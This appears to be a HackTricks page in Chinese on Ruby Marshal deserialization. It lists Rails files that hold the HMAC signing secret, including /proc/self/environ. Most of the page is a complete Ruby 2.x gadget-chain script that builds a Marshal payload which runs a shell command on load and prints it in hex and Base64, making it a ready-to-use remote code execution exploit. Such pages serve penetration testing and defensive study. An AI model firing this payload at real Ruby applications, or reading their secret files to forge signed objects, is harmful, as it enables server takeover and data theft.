Ruby在marshal库中有两种实现序列化的方法:第一种方法是dump,将对象转换为字节流(序列化)。第二种方法是load,将字节流再次转换为对象(反序列化)。 Ruby使用HMAC对序列化对象进行签名并将密钥保存在以下文件之一中

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X通用反序列化到RCE gadget链更多信息请参见https://www.elttam.com/blog/ruby-deserialization/

#!/usr/bin/env ruby

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

另一个利用Ruby On Rails的RCE链https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥